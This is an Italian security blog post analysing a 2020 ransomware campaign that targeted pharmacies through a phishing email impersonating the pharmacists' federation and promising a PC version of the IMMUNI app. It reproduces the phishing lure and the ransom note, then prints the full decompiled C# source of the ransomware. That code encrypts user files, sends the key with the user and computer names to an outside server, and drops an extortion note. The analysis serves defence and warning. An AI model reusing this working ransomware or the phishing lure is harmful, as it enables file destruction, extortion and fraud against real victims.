back to top
25 Maggio 2020

Un nuovo ransomware minaccia le farmacie e le attività che lavorano in ambito medico. Sicuramente di origine italiana questo virus rischia di mettere in ginocchio le attività in tutta la nazione.

Gli esperti di cyber security di Dottor Marc hanno ricevuto una segnalazione di un nuovo attacco ransomware che potrebbe aver preso di mira le farmacie, utilizzando un mix di tecniche di ingegneria sociale e criptazione per bloccare le attività commerciali in ambito medico.

Denominato Unicorn Ransomware, questo nuovo virus cerca di convincere l’utente a scaricare un file eseguibile e avviarlo sul proprio computer, con la promessa di offrire il versione beta l’app IMMUNI e “avere dati di prima mano aggiornati in tempo reale inerenti le situazioni di contagio sul vostro territorio”.

Per aumentare la veridicità del messaggio il mittente sembra essere FEDERAZIONE ORDINI FARMACISTI ITALIANI ma come si può notare il dominio internet dei collegamenti all’interno del messaggio non è fofi.it bensì fofl.it

La letterà I è stata sostituita con la lettera L e potrebbe trarre in inganno molte persone.

Il testo dell’email inviata dai criminali è questo:

2020-05-22 COVID-19 – ANTEPRIMA NUOVA APP PER PC FISSI E PORTATILI PER MONITORARE GLI SPOSTAMENTI DEGLI INFETTI DA COVID-19


Per far fronte all’attuale emergenza sanitaria correlata alla riapertura delle attività nel nostro territorio e alla conseguente necessità di ridurre i contatti tra le persone, per contrastare e contenere il diffondersi del Covid-19, si anticipa, tramite invio di una “beta release” a tutte le farmacie, parafarmacie, università, medici condotti ed enti coinvolti nell’emergenza di sanità pubblica, la prima versione per pc dell’app IMMUNI.
Questa versione potenziata, dedicata esclusivamente agli operatori sul campo, vi metterà in condizione di avere dati di prima mano aggiornati in tempo reale inerenti le situazioni di contagio sul vostro territorio. I dati vengono immediatamente condivisi dai server della Protezione Civile su tutti gli altri dispositivi connessi in streaming.
Avere un monitoraggio efficace e capillare sul territorio, sarà la chiave vincente per evitare una disastrosa seconda ondata di diffusione del virus.

Di seguito trovate il link per scaricare il file eseguibile da installare sul vostro pc.

Clicca su questo link per scaricare il file eseguibile dal sito della Federazione
hxxps://www.fofl.it/IMMUNI.exe

Clicca su questo link per scaricare il file .rar dal sito della federazione
hxxps://www.fofl.it/IMMUNI.rar


FEDERAZIONE ORDINI FARMACISTI ITALIANI
Via Palestro, 75 – 00185 Roma
www.fo fl.it
tel. 06.4450361
[email protected]
Supporto tecnico per il sito www.fo fl.it : supporto_tecnico@ fofl.it
Ufficio stampa: ufficiostampa@ fo fi.it
Capo Ufficio stampa: Maurizio Imperiali
tel: 334/6068949

Ransomware IMMUNI: comportamento e conseguenze dell’infezione

Il programma che viene suggerito ai malcapitati si chiama IMMUNI.exe e si mostra con un’icona che ricorda il virus che tanto abbiamo imparato a conoscere negli ultimi mesi.


Analizzando il virus sono stati rilevati e catalogati i comportamenti del ransomware in un ambiente di prova.
Il virus una volta eseguito mostra una schermata volta a disorientare l’utente, una falsa mappa dei contagi a livello globale.


Virus Unicorn: la mappa dei contagi

Mentre l’utente è attratto da questa schermata il virus agisce in maniera silenziosa bloccando il computer, criptando i file e aggiungendo l’estensione .fuckunicornhtrhrtjrjy

La richiesta di riscatto, rilasciata a seguito della criptazione recita:

La lunga serpe sul bastone di Asceplio si è ribellata, ed una nuova era sta per sopraggiungere!
Questa è la vostra possibilità per redimervi dopo anni di peccati e soprusi.
Sta a voi scegliere. Entro 3 giorni il pegno pagare dovrai o il fuoco di Prometeo cancellerà
i vostri dati così come ha cancellato il potere degli Dei sugli uomini.  Il pegno è di solamente 300 euros, da pagare
con i Bitcoin al seguente indirizzo : 195naAM74WpLtGHsKp9azSsXWmBCaDscxJ dopo che pagato avrai, 
una email mandarci dovrai. [email protected] il codice di transazione sarà la prova.
Dopo il pegno pagato riceverai la soluzione per spegnere il fuoco di Prometeo. Andare dalla 
polizia o chiamare tecnici a niente servirà, nessun essere umano aiutarti potrà.

Nel frattempo anche lo sfondo del PC viene modificato con questa immagine.

Approfondendo l’analisi tecnica i nostri esperti hanno rilevato alcune interessanti informazioni.

IMMUNI.exe : decompilazione e analisi

Questo il codice sorgente:

// Decompiled with JetBrains decompiler
// Type: fuckunicorn.Form1
// Assembly: IMMUNI, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F54C700-FA0D-46F7-BC53-7208912E7089
// Assembly location: C:\Users\Administrator\Downloads\IMMUNI.exe
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;
namespace fuckunicorn
{
public class Form1 : Form
{
private string targetURL = "http://116.203.210.127/write.php";
private string userName = Environment.UserName;
private string computerName = Environment.MachineName.ToString();
private string userDir = "C:\";
private string backgroundImageUrl = "https://i.imgur.com/6bDNKfs.jpg";
private IContainer components;
private PictureBox pictureBox1;
private Button button1;
[DllImport("user32.dll", CharSet = CharSet.Auto)] private static extern int SystemParametersInfo( uint action, uint uParam, string vParam, uint winIni); public Form1() { this.InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { this.Opacity = 100.0; this.ShowInTaskbar = false; this.startAction(); } protected override CreateParams CreateParams { get { CreateParams createParams = base.CreateParams; createParams.ExStyle |= 128; return createParams; } } private void Form_Shown(object sender, EventArgs e) { this.Visible = true; this.Opacity = 100.0; } public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) { byte[] salt = new byte[8] { (byte) 1, (byte) 2, (byte) 3, (byte) 4, (byte) 5, (byte) 6, (byte) 7, (byte) 8 }; using (MemoryStream memoryStream = new MemoryStream()) { using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) { rijndaelManaged.KeySize = 256; rijndaelManaged.BlockSize = 128; Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000); rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8); rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8); rijndaelManaged.Mode = CipherMode.CBC; using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write)) { cryptoStream.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length); cryptoStream.Close(); } return memoryStream.ToArray(); } } } public string CreatePassword(int length) { StringBuilder stringBuilder = new StringBuilder(); Random random = new Random(); while (0 < length--) stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=?()"[random.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=?()".Length)]); return stringBuilder.ToString(); } public void SendPassword(string password) { try { new WebClient().DownloadString(this.targetURL + ("?computer_name=" + this.computerName + "&userName=" + this.userName + "&password=" + password + "&allow=ransom")); } catch (Exception ex) { } } public void EncryptFile(string file, string password) { byte[] bytes = this.AES_Encrypt(System.IO.File.ReadAllBytes(file), SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password))); string path = this.userDir + ("Users\\" + this.userName + "\\Desktop\\READ_IT.txt.fuckunicornhtrhrtjrjy"); if (System.IO.File.Exists(path)) System.IO.File.Delete(path); System.IO.File.WriteAllBytes(file, bytes); System.IO.File.Move(file, file + ".fuckunicornhtrhrtjrjy"); } public void encryptDirectory(string location, string password) { try { string[] strArray = new string[68] { ".txt", ".jar", ".exe", ".dat", ".contact", ".settings", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".py", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".htm", ".xml", ".psd", ".pdf", ".dll", ".c", ".cs", ".mp3", ".mp4", ".f3d", ".dwg", ".cpp", ".zip", ".rar", ".mov", ".rtf", ".bmp", ".mkv", ".avi", ".apk", ".lnk", ".iso", ".7-zip", ".ace", ".arj", ".bz2", ".cab", ".gzip", ".lzh", ".tar", ".uue", ".xz", ".z", ".001", ".mpeg", ".mp3", ".mpg", ".core", ".crproj", ".pdb", ".ico", ".pas", ".db", ".torrent" }; string[] files = Directory.GetFiles(location); string[] directories = Directory.GetDirectories(location); for (int index = 0; index < files.Length; ++index) { string extension = Path.GetExtension(files[index]); if (((IEnumerable<string>) strArray).Contains<string>(extension)) this.EncryptFile(files[index], password); } for (int index = 0; index < directories.Length; ++index) this.encryptDirectory(directories[index], password); } catch (Exception ex) { } } public void MoveVirus() { string path = this.userDir + this.userName + "\\Rand123"; string str = this.userDir + this.userName + "\\Rand123\\local.exe"; if (!Directory.Exists(path)) Directory.CreateDirectory(path); else if (System.IO.File.Exists(str)) System.IO.File.Delete(str); System.IO.File.Move(Directory.GetCurrentDirectory() + ("\\" + Process.GetCurrentProcess().ProcessName + ".exe"), str); } public static bool CheckForInternetConnection() { try { using (WebClient webClient = new WebClient()) { using (webClient.OpenRead("https://www.google.com")) return true; } } catch { return false; } } public void startAction() { this.MoveVirus(); string password = this.CreatePassword(15); this.Directory_Settings_Sending(password); this.messageCreator(); string path = this.userDir + this.userName + "\\ransom.jpg"; bool flag; do { flag = Form1.CheckForInternetConnection(); if (flag) { this.SetWallpaperFromWeb(this.backgroundImageUrl, path); this.SendPassword(password); } } while (!flag); } public void Directory_Settings_Sending(string password) { string str = "Users\\"; string location1 = this.userDir + str + this.userName + "\\Desktop"; string location2 = this.userDir + str + this.userName + "\\Links"; string location3 = this.userDir + str + this.userName + "\\Contacts"; string location4 = this.userDir + str + this.userName + "\\Desktop"; string location5 = this.userDir + str + this.userName + "\\Documents"; string location6 = this.userDir + str + this.userName + "\\Downloads"; string location7 = this.userDir + str + this.userName + "\\Pictures"; string location8 = this.userDir + str + this.userName + "\\Music"; string location9 = this.userDir + str + this.userName + "\\OneDrive"; string location10 = this.userDir + str + this.userName + "\\Saved Games"; string location11 = this.userDir + str + this.userName + "\\Favorites"; string location12 = this.userDir + str + this.userName + "\\Searches"; string location13 = this.userDir + str + this.userName + "\\Videos"; this.encryptDirectory(location1, password); this.encryptDirectory(location2, password); this.encryptDirectory(location3, password); this.encryptDirectory(location4, password); this.encryptDirectory(location5, password); this.encryptDirectory(location6, password); this.encryptDirectory(location7, password); this.encryptDirectory(location8, password); this.encryptDirectory(location9, password); this.encryptDirectory(location10, password); this.encryptDirectory(location11, password); this.encryptDirectory(location12, password); this.encryptDirectory(location13, password); } public void messageCreator() { string path = this.userDir + "Users\\" + this.userName + "\\Desktop\\READ_IT.txt"; string str = this.computerName + "-" + this.userName; string[] contents = new string[8] { "La lunga serpe sul bastone di Asceplio si è ribellata, ed una nuova era sta per sopraggiungere!", "Questa è la vostra possibilità per redimervi dopo anni di peccati e soprusi.", "Sta a voi scegliere. Entro 3 giorni il pegno pagare dovrai o il fuoco di Prometeo cancellerà", "i vostri dati così come ha cancellato il potere degli Dei sugli uomini. Il pegno è di solamente 300 euros, da pagare", "con i Bitcoin al seguente indirizzo : 195naAM74WpLtGHsKp9azSsXWmBCaDscxJ dopo che pagato avrai, ", "una email mandarci dovrai. [email protected] il codice di transazione sarà la prova.", "Dopo il pegno pagato riceverai la soluzione per spegnere il fuoco di Prometeo. Andare dalla ", "polizia o chiamare tecnici a niente servirà, nessun essere umano aiutarti potrà." }; System.IO.File.WriteAllLines(path, contents); } public void SetWallpaper(string path) { Form1.SystemParametersInfo(20U, 0U, path, 3U); } private void SetWallpaperFromWeb(string url, string path) { try { new WebClient().DownloadFile(new Uri(url), path); this.SetWallpaper(path); } catch (Exception ex) { } } private void pictureBox1_Click(object sender, EventArgs e) { } private void button1_Click(object sender, EventArgs e) { this.Close(); } protected override void Dispose(bool disposing) { if (disposing && this.components != null) this.components.Dispose(); base.Dispose(disposing); } private void InitializeComponent() { ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1)); this.pictureBox1 = new PictureBox(); this.button1 = new Button(); ((ISupportInitialize) this.pictureBox1).BeginInit(); this.SuspendLayout(); this.pictureBox1.BackgroundImage = (Image) componentResourceManager.GetObject("pictureBox1.BackgroundImage"); this.pictureBox1.Location = new Point(-2, -6); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new Size(1074, 691); this.pictureBox1.SizeMode = PictureBoxSizeMode.Zoom; this.pictureBox1.TabIndex = 0; this.pictureBox1.TabStop = false; this.pictureBox1.Click += new EventHandler(this.pictureBox1_Click); this.button1.Location = new Point(1023, 12); this.button1.Name = "button1"; this.button1.Size = new Size(29, 23); this.button1.TabIndex = 1; this.button1.Text = "X"; this.button1.UseVisualStyleBackColor = true; this.button1.Click += new EventHandler(this.button1_Click); this.AutoScaleDimensions = new SizeF(6f, 13f); this.AutoScaleMode = AutoScaleMode.Font; this.ClientSize = new Size(1064, 681); this.Controls.Add((Control) this.button1); this.Controls.Add((Control) this.pictureBox1); this.FormBorderStyle = FormBorderStyle.None; this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); this.Name = nameof (Form1); this.Text = "Coronavirus"; this.UseWaitCursor = true; this.Load += new EventHandler(this.Form1_Load); ((ISupportInitialize) this.pictureBox1).EndInit(); this.ResumeLayout(false); } } }

L’analisi mostra anche un dettaglio molto importante, aumentando le ipotesi di un virus scritto da criminali italiani per vittime italiane. Il nome del creatore potrebbe essere proprio Leonardo.

Virus IMMUNI: l’origine del file infetto

L’email inviata dai criminali invita l’utente a scaricare il file infetto dal sito www.fofl.it che non è altro che la copia identica del sito ufficiale dell’FEDERAZIONE ORDINI FARMACISTI ITALIANI effettuata in data 3 maggio 2020.

L’interrogazione WHOIS del dominio FOFL.IT mostra alcune informazioni aggiuntive, come il nome del registrante, chiaramente fasullo.


Dominio registrato da NICOLAI DOMBROWSKY

Al momento della pubblicazione di questo contenuto il sito è già stato reso irraggiungibile dal servizio di hosting.

Virus IMMUNI: pagare il riscatto?

Verificando l’indirizzo su cui viene richiesto il pagamento del riscatto, al momento non risulta alcun pagamento andato a buon fine. Il nostro consiglio è di non effettuare in nessun modo questa operazione.

Virus IMMUNI: principianti allo sbaraglio?

Sono molti i fattori che possono indicare che l’origine di questo virus che cripta i file siano criminali alle prime armi, con scarse conoscenze tecniche, ma allo stesso tempo nessun timore nel diffondere una minaccia che potrebbe avere un grosso impatti a livello sociale.

Il codice del virus sembra essere un copia-incolla di altri ransomware già visti in precedenza. La diffusione è stata scarsa e il dominio truffaldino, ospitato da server tedeschi, è stato subito posto in sospensione.

Dolcis in fundo, l’email dei criminali (o forse criminale, Leonardo sei stato tu? ) indicata nella nota di riscatto.. è sbagliata! Questo impedirebbe un ipotetico contatto con la vittima, azzerando quindi la possibilità di comunicare una buona riuscita del pagamento e di conseguenza non offrendo la soluzione al blocco dei file.

Categories: Case History